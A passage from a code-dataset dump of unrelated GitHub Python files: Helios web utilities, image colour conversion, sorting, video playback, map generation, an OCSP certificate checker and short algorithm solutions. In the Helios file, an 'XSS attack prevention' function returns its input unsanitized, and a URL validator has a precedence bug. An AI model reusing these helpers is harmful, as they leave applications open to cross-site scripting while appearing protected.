\"\"\"\n if not str:\n return \"\"\n\n return urllib.quote(str)\n\ndef urlencodeall(str):\n \"\"\"\n URL encode everything even unresreved chars\n \"\"\"\n if not str:\n return \"\"\n\n return string.join(['%' + s.encode('hex') for s in str], '')\n\ndef urldecode(str):\n if not str:\n return \"\"\n\n return urllib.unquote(str)\n\ndef get_url():\n full_url = cherrypy.request.path\n if cherrypy.request.queryString != None and cherrypy.request.queryString != \"\":\n full_url += \"?\" + cherrypy.request.queryString\n\n return full_url\n\ndef get_host():\n host_str = cherrypy.request.wsgi_environ['SERVER_NAME']\n host_port = \"\"\n if cherrypy.request.wsgi_environ['SERVER_PORT'] != '80':\n host_port = \":\" + cherrypy.request.wsgi_environ['SERVER_PORT']\n return \"%s%s\" % (host_str, host_port)\n\ndef to_json(d):\n return simplejson.dumps(d, sort_keys=True)\n \ndef from_json(json_str):\n if not json_str: return None\n return simplejson.loads(json_str)\n \ndef JSONtoDict(json):\n x=simplejson.loads(json)\n return x\n \ndef JSONFiletoDict(filename):\n f = open(filename, 'r')\n content = f.read()\n f.close()\n return JSONtoDict(content)\n \ndef isBlank(s):\n if not isinstance(s, str):\n return True\n else:\n return (len(s.strip()) == 0 )\n \ndef dictToURLParams(d):\n if d:\n return '&'.join([i + '=' + urlencode(v) for i,v in d.items()])\n else:\n return None\n##\n## XML escaping and unescaping\n## \n\ndef xml_escape(s):\n raise Exception('not implemented yet')\n\ndef xml_unescape(s):\n new_s = s.replace('<','<').replace('>','>')\n return new_s\n \n##\n## XSS attack prevention\n##\n\ndef xss_strip_all_tags(s):\n \"\"\"\n Strips out all HTML.\n \"\"\"\n return s\n def fixup(m):\n text = m.group(0)\n if text[:1] == \"<\":\n return \"\" # ignore tags\n if text[:2] == \"&#\":\n try:\n if text[:3] == \"&#x\":\n return unichr(int(text[3:-1], 16))\n else:\n return unichr(int(text[2:-1]))\n except ValueError:\n pass\n elif text[:1] == \"&\":\n import htmlentitydefs\n entity = htmlentitydefs.entitydefs.get(text[1:-1])\n if entity:\n if entity[:2] == \"&#\":\n try:\n return unichr(int(entity[2:-1]))\n except ValueError:\n pass\n else:\n return unicode(entity, \"iso-8859-1\")\n return text # leave as is\n \n return re.sub(\"(?s)<[^>]*>|&#?\\w+;\", fixup, s)\n \ndef xss_strip_unsafe_tags(s):\n \"\"\"\n Strips any HTML that could be dangerous\n \"\"\"\n return htmlsanitizer._sanitizeHTML(s, 'utf-8', None)\n \n# simple url checking / validation\n\ndef url_check(url):\n \"\"\"\n Parses a URL and errors out if its not scheme http or https or has no net location\n \"\"\"\n \n url_tuple = urlparse.urlparse(url)\n if url_tuple[0] == 'http' or url_tuple[0] == 'https' and url_tuple[1] != \"\":\n return url\n else:\n raise Exception('bad url')\n\ndef url_truncate(url):\n \"\"\"\n Parses a URL and truncates it after the domain part\n \"\"\"\n \n url_tuple = urlparse.urlparse(url)\n return url_tuple[0] + '://' + url_tuple[1]\n \ndef url_get_domain(url):\n \"\"\"\n Parses a URL and truncates it after the domain part\n \"\"\"\n\n url_tuple = urlparse.urlparse(url)\n return url_tuple[1]\n \nrandom.seed()\n\ndef random_string(length=20):\n random.seed()\n ALPHABET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'\n r_string = ''\n for i in range(length):\n r_string += random.choice(ALPHABET)\n\n return r_string\n\n##\n## Datetime utilities\n##\n\ndef string_to_datetime(str, fmt=\"%Y-%m-%d %H:%M\"):\n if str == None:\n return None\n\n return datetime.datetime.strptime(str, fmt)","repo_name":"benadida/helios","sub_path":"base/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9031,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"5"} +{"seq_id":"24993824263","text":"import sys\nimport cv2\nimport math\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndef RGBtoHSI(img):\n r1,c,l=img.shape\n img2=np.full(img.shape,0,dtype=np.uint8)\n for i in range(0,r1):\n for j in range(0,c):\n b,g,r=img[i][j]\n r=float(r)\n g=float(g)\n b=float(b)\n s=(1-(3/(r+g+b))*min(r,g,b))*100\n intensity=(r+g+b)/3.0\n R=r/(r+g+b)\n G=g/(r+g+b)\n B=b/(r+g+b)\n if(r==g and g==b):\n val=0\n else:\n val=(2*R-G-B)/(2*math.sqrt((R-G)**2+(R-B)*(G-B)))\n h=math.acos(np.clip(val,-1,1))\n if(b>g):\n h=360-h\n h=h*180/math.pi\n img2[i][j][0]=h\n img2[i][j][1]=s\n img2[i][j][2]=intensity\n return img2\n\nimg1=cv2.imread('ball.bmp',1)\nimg2=RGBtoHSI(img1)\nh=img2[:,:,0]/2.0\ns=img2[:,:,1]\nv=img2[:,:,2]\nhsv=cv2.cvtColor(img1,cv2.COLOR_BGR2HSV)\nH=hsv[:,:,0]\nS=hsv[:,:,1]\nV=hsv[:,:,2]\ndH=np.abs(H-h)\ndS=np.abs(S-s)\ndV=np.abs(V-v)\nsp=330\nplt.subplot(sp+1),plt.imshow(h ,cmap='gray')\nplt.title('Calculated Hue'), plt.xticks([]), plt.yticks([])\nplt.subplot(sp+2),plt.imshow(s ,cmap='gray')\nplt.title('Calculated Saturation'), plt.xticks([]), plt.yticks([])\nplt.subplot(sp+3),plt.imshow(v ,cmap='gray')\nplt.title('Calculated Intensity'), plt.xticks([]), plt.yticks([])\nplt.subplot(sp+4),plt.imshow(H ,cmap='gray')\nplt.title('Inbuilt Hue'), plt.xticks([]), plt.yticks([])\nplt.subplot(sp+5),plt.imshow(S ,cmap='gray')\nplt.title('Inbuilt Saturation'), plt.xticks([]), plt.yticks([])\nplt.subplot(sp+6),plt.imshow(V ,cmap='gray')\nplt.title('Inbuilt Intensity'), plt.xticks([]), plt.yticks([])\nplt.subplot(sp+7),plt.imshow(dH ,cmap='gray')\nplt.title('Difference in Hue'), plt.xticks([]), plt.yticks([])\nplt.subplot(sp+8),plt.imshow(dS ,cmap='gray')\nplt.title('Difference in Saturation'), plt.xticks([]), plt.yticks([])\nplt.subplot(sp+9),plt.imshow(dV ,cmap='gray')\nplt.title('Difference in Intensity'), plt.xticks([]), plt.yticks([])\n#\nplt.show()\n","repo_name":"cse001/VNIT","sub_path":"Sem7/IVP/Code/4/4a.py","file_name":"4a.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"27807690505","text":"def selection(l: list):\n arr = l[::]\n for i in range(len(arr)):\n m = i\n for j in range(i + 1, len(arr)):\n if arr[j] < arr[m]:\n m = j\n if i != m:\n arr[i], arr[m] = arr[m], arr[i]\n return arr\n","repo_name":"gerdiedoo/data-thesis","sub_path":"Sort-Selection/selection (2).py","file_name":"selection (2).py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19899615147","text":"#necessary python function (not using tkinter)\nimport cv2\n\n#captures the video(change pathway for your device)\ncap = cv2.VideoCapture('/Users/ishaan/Downloads/0.mp4')\n \n# if the video is opened it plays or displays an error\nif (cap.isOpened()== False):\n print(\"Error opening video stream or file\")\n \n#basically allows the video to play until a frame isn't there(it ends) or a frame doesn't work \nwhile (cap.isOpened()):\n \n ret, frame = cap.read()\n if ret == True:\n \n \n cv2.imshow('Frame', frame)\n \n \n if cv2.waitKey(25) & 0xFF == ord('q'):\n break\n \n else:\n break\n \ncap.release()\n\n#allows you to close the program \ncv2.destroyAllWindows()\n","repo_name":"verpeutlab/GUIforDANNCE","sub_path":"video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"73144189591","text":"import random\r\n\r\n\r\nclass Landscape_Generation(object):\r\n# набор методов для генерации статичных динамичных объектов ландшафта\r\n __size_x = 10\r\n __size_y = 10\r\n __water_icon = None\r\n __forest_icon = None\r\n __mountain_icon = None\r\n __fire_icon = None\r\n __ground_icon = None\r\n water_density = .01\r\n forest_density = 30\r\n \r\n \r\n def __init__(self, size_x, size_y, water, tree, mountain, fire, ground) -> None:\r\n self.__size_x = size_x\r\n self.__size_y = size_y\r\n self.__water_icon = water\r\n self.__forest_icon = tree\r\n self.__mountain_icon = mountain\r\n self.__fire_icon = fire\r\n self.__ground_icon = ground\r\n \r\n \r\n def get_size_x(self) -> int:\r\n return self.__size_x\r\n\r\n\r\n def get_size_y(self) -> int:\r\n return self.__size_y\r\n \r\n \r\n def get_water_icon(self) -> str:\r\n return self.__water_icon\r\n\r\n\r\n def get_forest_icon(self) -> str:\r\n return self.__forest_icon\r\n\r\n\r\n def get_mountain_icon(self) -> str:\r\n return self.__mountain_icon\r\n\r\n\r\n def get_fire_icon(self) -> str:\r\n return self.__fire_icon\r\n\r\n\r\n def get_ground_icon(self) -> str:\r\n return self.__ground_icon\r\n\r\n\r\n def put_landscape_to(self, any_map): \r\n self.__water_generation(any_map)\r\n self.__water_generation(any_map)\r\n self.__forest_generation(any_map)\r\n self.__mountain_generation(any_map)\r\n\r\n\r\n def random_cell(self) -> list:\r\n return [random.randint(1, self.__size_x - 2),\r\n random.randint(1, self.__size_y - 2)]\r\n \r\n\r\n def __water_generation(self, map):\r\n # берем стартовую точку\r\n start_cell = self.random_cell()\r\n # добавляем ее на карту\r\n map.put_object_icon(self.__water_icon, start_cell[0], start_cell[1])\r\n # основной цикл генерации воды. в range() высчитываем коэфициент заполнения\r\n for i in range(int((map.get_size_x() * map.get_size_y())/self.water_density)):\r\n move_list = [[-1,1],[0,1],[1,0],[0,-1]] # список направлений движения\r\n get_direction = move_list[random.randint(0,3)] # рандомно выбираем движение\r\n # двигаем начальную позицию по рандомно заданному направлению\r\n next_pnt = [start_cell[0] + get_direction[0], start_cell[1] + get_direction[1]]\r\n # проверяем, не выходит ли итератор за пределы карты\r\n if next_pnt[0] >= map.get_size_x() or next_pnt[1] >= map.get_size_y():\r\n break\r\n if next_pnt[0] < 0 or next_pnt[1] < 0:\r\n break\r\n # добавляем текстурку на карту, если ни одно из условий не сработало\r\n map.put_object_icon(self.__water_icon, next_pnt[0], next_pnt[1])\r\n # перезаписываем стартовую позицию\r\n start_cell = next_pnt[:]\r\n\r\n\r\n def __forest_generation(self, map):\r\n presets_list = [[[0,0],[-1,-1],[0,1],[0,-1],[-1,0],[1,0]],\r\n [[-1,-1],[0,-1],[-1,0],[0,0],[1,0],[1,1]],\r\n [[0,0],[1,0],[-1,0],[-1,1],[-1,2],[-1,4],[-2,1],[-2,2],[-2,3],[-3,2]]]\r\n \r\n # геренация новых пресетов и добавление их в список актуальных\r\n new_presets_list = []\r\n for preset in presets_list:\r\n new_preset = []\r\n for coords in preset:\r\n new_preset.append([coords[1], coords[0]])\r\n new_presets_list.append(new_preset)\r\n\r\n for preset in new_presets_list:\r\n presets_list.append(preset)\r\n \r\n\r\n count = 0\r\n while count < int((map.get_size_x() * map.get_size_y())/self.forest_density):\r\n versions = len(presets_list)\r\n next_cell = self.random_cell()\r\n if map.get_matrix()[next_cell[1]][next_cell[0]] != self.__water_icon:\r\n current_preset = presets_list[count % versions]\r\n for coord in current_preset:\r\n map.put_object_icon(self.__forest_icon, next_cell[0] + coord[0],\r\n next_cell[1] + coord[1])\r\n count +=1\r\n\r\n \r\n def __mountain_generation(self, map): # рисуем прямоугольную рамку\r\n for cell__addr in range(map.get_size_y()):\r\n map.put_object_icon(self.__mountain_icon, 0 , cell__addr)\r\n map.put_object_icon(self.__mountain_icon, map.get_size_x()-1, cell__addr)\r\n\r\n for cell__addr in range(map.get_size_x()):\r\n map.put_object_icon(self.__mountain_icon, cell__addr, 0 )\r\n map.put_object_icon(self.__mountain_icon, cell__addr, map.get_size_y()-1)\r\n","repo_name":"seshzeo/python_game_lesson","sub_path":"generation.py","file_name":"generation.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"1775820756","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\n\n\nx = np.arange(1, 9) #По x\ny=np.array([5,4,2,7,0,3,3,4]) #По у \nfig, ax = plt.subplots()\nax.bar(x, y)\n\n\nfig.set_figwidth(8) # ширина и\nfig.set_figheight(8) # высота \"Figure\"\nfig.set_facecolor('floralwhite')\n\n\nplt.show()","repo_name":"VoloschenkoVladislav/CM1","sub_path":"task7.py","file_name":"task7.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"70963239760","text":"from collections import deque\r\nimport copy\r\nimport sys\r\ninput = sys.stdin.readline\r\n\r\n\r\nN, M = map(int, input().split())\r\nvirus_l = [list(map(int, input().split())) for _ in range(N)]\r\n\r\n# 3개의 벽을 세우기 위한 백트래킹 함수\r\ndef three_walls(walls):\r\n # 벽이 3개 세워졌다면 bfs 함수 실행\r\n if walls == 3:\r\n bfs()\r\n return\r\n \r\n for i in range(N):\r\n for j in range(M):\r\n # 빈 벽이 있다면\r\n if virus_l[i][j] == 0:\r\n # 벽으로 세우기\r\n virus_l[i][j] = 1\r\n three_walls(walls + 1)\r\n # 빈 칸으로 복구\r\n virus_l[i][j] = 0\r\n\r\n# 상 하 좌 우\r\ndx = [-1, 1, 0, 0]\r\ndy = [0, 0, -1, 1]\r\n\r\n# 벽이 세워진 뒤 바이러스가 퍼진 모습을 구현하기 위한 함수\r\ndef bfs():\r\n global max_cnt\r\n copy_virus = copy.deepcopy(virus_l)\r\n queue = deque()\r\n # 바이러스 리스트를 순회하며 바이러스가 있는 좌표를 queue에 넣음\r\n for i in range(N):\r\n for j in range(M):\r\n if virus_l[i][j] == 2:\r\n queue.append((i, j))\r\n\r\n while queue:\r\n x, y = queue.popleft()\r\n \r\n # 상 하 좌 우 탐색\r\n for i in range(4):\r\n nx = x + dx[i]\r\n ny = y + dy[i]\r\n \r\n # 범위 안에 있고, 빈 칸이라면\r\n if 0 <= nx < N and 0 <= ny < M:\r\n if copy_virus[nx][ny] == 0:\r\n queue.append((nx, ny))\r\n # 바이러스가 퍼졌으므로 2로 갱신\r\n copy_virus[nx][ny] = 2\r\n \r\n cnt = 0\r\n # 바이러스 리스트를 돌며 빈 칸이 있으면 cnt + 1\r\n for i in range(N):\r\n for j in range(M):\r\n if copy_virus[i][j] == 0:\r\n cnt += 1\r\n\r\n max_cnt = max(max_cnt, cnt)\r\n\r\nmax_cnt = 0 \r\nthree_walls(0)\r\n\r\nprint(max_cnt)","repo_name":"yjp8842/Algorithm_STUDY","sub_path":"백준/Gold/14502. 연구소/연구소.py","file_name":"연구소.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35259022394","text":"from django.conf import settings\nfrom django.utils import translation\n\nfrom admission.ddd.admission.doctorat.preparation.domain.model._promoteur import PromoteurIdentity\nfrom admission.ddd.admission.doctorat.preparation.domain.model.groupe_de_supervision import (\n GroupeDeSupervision,\n SignataireIdentity,\n)\nfrom admission.ddd.admission.doctorat.preparation.domain.model.proposition import Proposition\nfrom admission.ddd.admission.doctorat.preparation.domain.service.i_historique import IHistorique\nfrom admission.ddd.admission.doctorat.preparation.dtos import AvisDTO\nfrom admission.infrastructure.admission.doctorat.preparation.domain.service.membre_CA import MembreCATranslator\nfrom admission.infrastructure.admission.doctorat.preparation.domain.service.promoteur import PromoteurTranslator\nfrom infrastructure.shared_kernel.personne_connue_ucl.personne_connue_ucl import PersonneConnueUclTranslator\nfrom osis_history.utilities import add_history_entry\n\n\nclass Historique(IHistorique):\n @classmethod\n def get_signataire(cls, signataire_id):\n if isinstance(signataire_id, PromoteurIdentity):\n return PromoteurTranslator.get_dto(signataire_id)\n return MembreCATranslator.get_dto(signataire_id)\n\n @classmethod\n def historiser_initiation(cls, proposition: Proposition):\n candidat = PersonneConnueUclTranslator().get(proposition.matricule_candidat)\n add_history_entry(\n proposition.entity_id.uuid,\n \"La proposition a été initiée.\",\n \"The proposition has been initialized.\",\n \"{candidat.prenom} {candidat.nom}\".format(candidat=candidat),\n tags=[\"proposition\", \"status-changed\"],\n )\n\n @classmethod\n def historiser_completion(cls, proposition: Proposition):\n candidat = PersonneConnueUclTranslator().get(proposition.matricule_candidat)\n add_history_entry(\n proposition.entity_id.uuid,\n \"La proposition a été modifiée (Projet doctoral).\",\n \"The proposition has been completed (Doctoral project).\",\n \"{candidat.prenom} {candidat.nom}\".format(candidat=candidat),\n tags=[\"proposition\", 'modification'],\n )\n\n @classmethod\n def historiser_completion_cotutelle(cls, proposition: Proposition):\n candidat = PersonneConnueUclTranslator().get(proposition.matricule_candidat)\n add_history_entry(\n proposition.entity_id.uuid,\n \"La proposition a été modifiée (Cotutelle).\",\n \"The proposition has been completed (Cotutelle).\",\n \"{candidat.prenom} {candidat.nom}\".format(candidat=candidat),\n tags=[\"proposition\", 'modification'],\n )\n\n @classmethod\n def historiser_avis(cls, proposition: Proposition, signataire_id: 'SignataireIdentity', avis: AvisDTO):\n signataire = cls.get_signataire(signataire_id)\n auteur = PersonneConnueUclTranslator().get(proposition.matricule_candidat) if avis.pdf else signataire\n\n # Basculer en français pour la traduction de l'état\n with translation.override(settings.LANGUAGE_CODE_FR):\n message_fr = (\n \"{signataire.prenom} {signataire.nom} a {action} la proposition {via_pdf}en tant que {role}\".format(\n signataire=signataire,\n action=\"refusé\" if avis.motif_refus else \"aprouvé\",\n via_pdf=\"via PDF \" if avis.pdf else \"\",\n role=\"promoteur\"\n if isinstance(signataire_id, PromoteurIdentity)\n else \"membre du comité d'accompagnement\",\n )\n )\n details = []\n if avis.motif_refus:\n details.append(\"motif : {}\".format(avis.motif_refus))\n if avis.commentaire_externe:\n details.append(\"commentaire : {}\".format(avis.commentaire_externe))\n if details:\n details = \" ({})\".format(' ; '.join(details))\n message_fr += details\n\n # Anglais\n with translation.override(settings.LANGUAGE_CODE_EN):\n message_en = \"{signataire.prenom} {signataire.nom} has {action} the proposition {via_pdf}as {role}\".format(\n signataire=signataire,\n action=\"refused\" if avis.motif_refus else \"approved\",\n via_pdf=\"via PDF \" if avis.pdf else \"\",\n role=\"promoter\" if isinstance(signataire_id, PromoteurIdentity) else \"supervisory panel member\",\n )\n details = []\n if avis.motif_refus:\n details.append(\"reason : {}\".format(avis.motif_refus))\n if avis.commentaire_externe:\n details.append(\"comment : {}\".format(avis.commentaire_externe))\n if details:\n details = \" ({})\".format('; '.join(details))\n message_en += details\n\n add_history_entry(\n proposition.entity_id.uuid,\n message_fr,\n message_en,\n \"{auteur.prenom} {auteur.nom}\".format(auteur=auteur),\n tags=[\"proposition\", \"supervision\"],\n )\n\n @classmethod\n def historiser_ajout_membre(\n cls,\n proposition: Proposition,\n groupe_de_supervision: GroupeDeSupervision,\n signataire_id: 'SignataireIdentity',\n ):\n candidat = PersonneConnueUclTranslator().get(proposition.matricule_candidat)\n signataire = cls.get_signataire(signataire_id)\n add_history_entry(\n proposition.entity_id.uuid,\n \"{membre.prenom} {membre.nom} a été ajouté en tant que {}.\".format(\n \"promoteur\" if isinstance(signataire_id, PromoteurIdentity) else \"membre du comité d'accompagnement\",\n membre=signataire,\n ),\n \"{membre.prenom} {membre.nom} has been added as {}.\".format(\n \"promoter\" if isinstance(signataire_id, PromoteurIdentity) else \"CA member\",\n membre=signataire,\n ),\n \"{candidat.prenom} {candidat.nom}\".format(candidat=candidat),\n tags=[\"proposition\", \"supervision\"],\n )\n\n @classmethod\n def historiser_suppression_membre(\n cls,\n proposition: Proposition,\n groupe_de_supervision: GroupeDeSupervision,\n signataire_id: 'SignataireIdentity',\n ):\n candidat = PersonneConnueUclTranslator().get(proposition.matricule_candidat)\n signataire = cls.get_signataire(signataire_id)\n add_history_entry(\n proposition.entity_id.uuid,\n \"{membre.prenom} {membre.nom} a été retiré des {}.\".format(\n \"promoteurs\" if isinstance(signataire_id, PromoteurIdentity) else \"membres du comité d'accompagnement\",\n membre=signataire,\n ),\n \"{membre.prenom} {membre.nom} has been removed from {}.\".format(\n \"promoters\" if isinstance(signataire_id, PromoteurIdentity) else \"CA members\",\n membre=signataire,\n ),\n \"{candidat.prenom} {candidat.nom}\".format(candidat=candidat),\n tags=[\"proposition\", \"supervision\"],\n )\n\n @classmethod\n def historiser_demande_signatures(cls, proposition: Proposition):\n candidat = PersonneConnueUclTranslator().get(proposition.matricule_candidat)\n add_history_entry(\n proposition.entity_id.uuid,\n \"Les demandes de signatures ont été envoyées.\",\n \"Signing requests have been sent.\",\n \"{candidat.prenom} {candidat.nom}\".format(candidat=candidat),\n tags=[\"proposition\", \"supervision\", \"status-changed\"],\n )\n\n @classmethod\n def historiser_soumission(cls, proposition: Proposition):\n candidat = PersonneConnueUclTranslator().get(proposition.matricule_candidat)\n add_history_entry(\n proposition.entity_id.uuid,\n \"La proposition a été soumise.\",\n \"The proposition has been submitted.\",\n \"{candidat.prenom} {candidat.nom}\".format(candidat=candidat),\n tags=[\"proposition\", \"soumission\", \"status-changed\"],\n )\n\n @classmethod\n def historiser_suppression(cls, proposition: Proposition):\n candidat = PersonneConnueUclTranslator().get(proposition.matricule_candidat)\n add_history_entry(\n proposition.entity_id.uuid,\n \"La proposition a été annulée.\",\n \"The proposition has been cancelled.\",\n \"{candidat.prenom} {candidat.nom}\".format(candidat=candidat),\n tags=[\"proposition\", \"status-changed\"],\n )\n","repo_name":"uclouvain/osis-admission","sub_path":"infrastructure/admission/doctorat/preparation/domain/service/historique.py","file_name":"historique.py","file_ext":"py","file_size_in_byte":8603,"program_lang":"python","lang":"fr","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"20794964933","text":"x = int(input())\ns = list(input())\ncnt = 0\nfor i in range(0, x, 2):\n if s[i] == s[i+1]:\n cnt += 1\n if s[i] == 'a':\n s[i] = 'b'\n else:\n s[i] = 'a'\nprint(cnt)\nprint(\"\".join(s))\n","repo_name":"KuroKousuii/Codeforces","sub_path":"Python/800 - III/1216A.py","file_name":"1216A.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33085975674","text":"# -*- coding:utf-8 -*-\nimport socket\n\nDEBUG = True\nif socket.gethostname() == 'your host name': # デプロイ先のホスト名\n DEBUG = False\n\nCONSUMER_KEY = 'your consumer_key'\nCONSUMER_SECRET = 'your consumer_secret'\nACCESS_TOKEN = 'your access_token'\nACCESS_TOKEN_SECRET = 'your access_token_secret'\n\nINTERVAL = 60 # DEBUGモード時のツイート間隔\nif DEBUG is not True:\n INTERVAL = 420 # 本番モード時のツイート間隔\n\n# http://www.drk7.jp/weather/ を参考に、XMLのURLとエリアを定義する。\nWEATHER_XML_URL = 'http://www.drk7.jp/weather/xml/01.xml'\nWEATHER_AREA = u'胆振地方'\n\nKEY_WORDS = '' # エゴサ用ワードを正規表現で\n\n","repo_name":"mktakuya/xmk-00","sub_path":"core/example.settings.py","file_name":"example.settings.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"8144365685","text":"import ssl\nimport requests\nfrom loguru import logger\nfrom base64 import b64encode\nfrom urllib.parse import urljoin\nfrom cryptography.x509 import Certificate, load_pem_x509_certificate\nfrom cryptography.x509.ocsp import (\n OCSPCertStatus,\n OCSPRequestBuilder,\n load_der_ocsp_response,\n)\nfrom cryptography.x509.oid import ExtensionOID, AuthorityInformationAccessOID\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.hashes import SHA256\n\n\ndef convert_pem_to_x509(cert_pem: str) -> Certificate:\n \"\"\"\n Converts a PEM format certificate to a cryptography x509 object\n :param cert_pem: the certificate in the PEM format\n :return: the certificate as a cryptography x509 object\n \"\"\"\n return load_pem_x509_certificate(cert_pem.encode(\"ascii\"), default_backend())\n\n\ndef convert_der_to_pem(cert_der) -> str:\n \"\"\"\n Convert a DER format certificate to a PEM format certificate as a string\n :param cert_der: the certificate in the DER format\n :return:\n \"\"\"\n return ssl.DER_cert_to_PEM_cert(cert_der)\n\n\ndef get_ca_issuer_url(cert: Certificate) -> str:\n \"\"\"\n Gets the URL of the certificate CA issuer\n :param cert: the certificate\n :return: the URL of the CA issuer\n \"\"\"\n aia = cert.extensions.get_extension_for_oid(ExtensionOID.AUTHORITY_INFORMATION_ACCESS).value\n issuers = [ia for ia in aia if ia.access_method == AuthorityInformationAccessOID.CA_ISSUERS]\n if not issuers:\n raise Exception(\"No issuers entry in AIA\")\n return issuers[0].access_location.value\n\n\ndef get_ocsp_server_url(cert: Certificate) -> str:\n \"\"\"\n Gets the URL of the certificat OCSP Server\n :param cert:\n :return:\n \"\"\"\n aia = cert.extensions.get_extension_for_oid(ExtensionOID.AUTHORITY_INFORMATION_ACCESS).value\n ocsp_servers = [ia for ia in aia if ia.access_method == AuthorityInformationAccessOID.OCSP]\n if not ocsp_servers:\n raise Exception(\"No ocsp server entry in AIA\")\n return ocsp_servers[0].access_location.value\n\n\ndef get_issuer_cert(ca_issuer_url: str) -> Certificate:\n \"\"\"\n Gets the certificate of the ca_issuer\n :param ca_issuer_url: the ca\n :return:\n \"\"\"\n issuer_response = requests.get(ca_issuer_url)\n if issuer_response.ok:\n issuer_der = issuer_response.content\n issuer_pem = convert_der_to_pem(issuer_der)\n return convert_pem_to_x509(issuer_pem)\n raise Exception(f\"fetching issuer cert failed with response status: {issuer_response.status_code}\")\n\n\ndef build_ocsp_request(ocsp_server_url: str, cert: Certificate, issuer_cert: Certificate) -> str:\n \"\"\"\n Builds an OCSP request and returns a populated request URL\n :param ocsp_server_url: the URL of the OCSP server\n :param cert: the cert for the status check\n :param issuer_cert: the cert of the issuer CA\n :return:\n \"\"\"\n builder = OCSPRequestBuilder()\n builder = builder.add_certificate(cert, issuer_cert, SHA256())\n req = builder.build()\n req_path = b64encode(req.public_bytes(serialization.Encoding.DER))\n return urljoin(ocsp_server_url + \"/\", req_path.decode(\"ascii\"))\n\n\ndef do_ocsp_request(ocsp_server_url: str, cert: Certificate, issuer_cert: Certificate) -> OCSPCertStatus:\n \"\"\"\n Does an OCSP request and returns the status of the certificate\n :param ocsp_server_url: the URL of the OCSP server\n :param cert: the cert for status checking\n :param issuer_cert: the cert of the issuer CA\n :return: the status of the certificate\n \"\"\"\n ocsp_resp = requests.get(build_ocsp_request(ocsp_server_url, cert, issuer_cert))\n if ocsp_resp.ok:\n logger.info(f\"OCSP Response: {convert_der_to_pem(ocsp_resp.content)}\")\n ocsp_decoded = load_der_ocsp_response(ocsp_resp.content)\n for response in ocsp_decoded.responses:\n if response.certificate_status == OCSPCertStatus.GOOD:\n return response.certificate_status\n else:\n logger.error(f\"Decoding OCSP response failed: {response.certificate_status}\")\n logger.error(f\"Fetching OCSP cert status failed with response status: {ocsp_resp.status_code}\")\n return OCSPCertStatus.UNKNOWN\n\n\ndef get_ocsp_cert_status(cert_pem: str) -> OCSPCertStatus:\n \"\"\"\n Gets the status of a certificate via OCSP\n :param cert_pem: the PEM of the certificate to check\n :return: the status of the certificate\n \"\"\"\n # Convert PEM certificate to Certificate object type\n cert = convert_pem_to_x509(cert_pem)\n\n # Get the issuer of the certificate\n ca_issuer_url = get_ca_issuer_url(cert)\n\n # Get the certificate of the issuer\n issuer_cert = get_issuer_cert(ca_issuer_url)\n\n # Get OCSP server of the certificate\n ocsp_server_url = get_ocsp_server_url(cert)\n\n logger.info(f\"CA: {ca_issuer_url}\")\n logger.info(f\"OCSP: {ocsp_server_url}\")\n\n # Do the OCSP request and return the result\n return do_ocsp_request(\n ocsp_server_url=ocsp_server_url,\n cert=cert,\n issuer_cert=issuer_cert\n )\n","repo_name":"dgimeno777/aws-api-gateway-mtls","sub_path":"mtls_authorizer/mtls_authorizer/ocsp.py","file_name":"ocsp.py","file_ext":"py","file_size_in_byte":5084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"24428512026","text":"class Solution(object):\n def twoCitySchedCost(self, costs):\n \"\"\"\n :type costs: List[List[int]]\n :rtype: int\n \"\"\"\n refund = []\n send_all_to_a = 0\n\n for i in range(len(costs)):\n send_all_to_a += costs[i][0]\n refund.append(costs[i][1] - costs[i][0])\n refund.sort(reverse = False)\n\n min_cost = send_all_to_a\n for i in range(len(costs)//2):\n min_cost = min_cost + refund[i]\n return min_cost\n\nanswer = Solution().twoCitySchedCost([[10,20],[30,200],[400,50],[30,20]])\nprint(answer)","repo_name":"marongjun/daily_challenge_leetcode","sub_path":"python_exercise/minimize_cost.py","file_name":"minimize_cost.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"2524463504","text":"import sys\r\n\r\nL, R = map(int, sys.stdin.readline().split())\r\n\r\ncount = 0\r\n\r\nstr_L = str(L)\r\nstr_R = str(R)\r\n\r\nif len(str_R) - len(str_L) > 0:\r\n count = 0\r\nelse:\r\n for i in range(len(str_R)):\r\n if str_R[i] == str_L[i]:\r\n if str_R[i] == '8':\r\n count +=1\r\n else:\r\n break\r\n\r\nprint(count)\r\n","repo_name":"mnmsgit/ProblemSolving","sub_path":"백준/Silver/1105. 팔/팔.py","file_name":"팔.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21031523461","text":"import sys; sys.stdin = open('세제곱근.txt')\n\nt = int(input())\nfor tc in 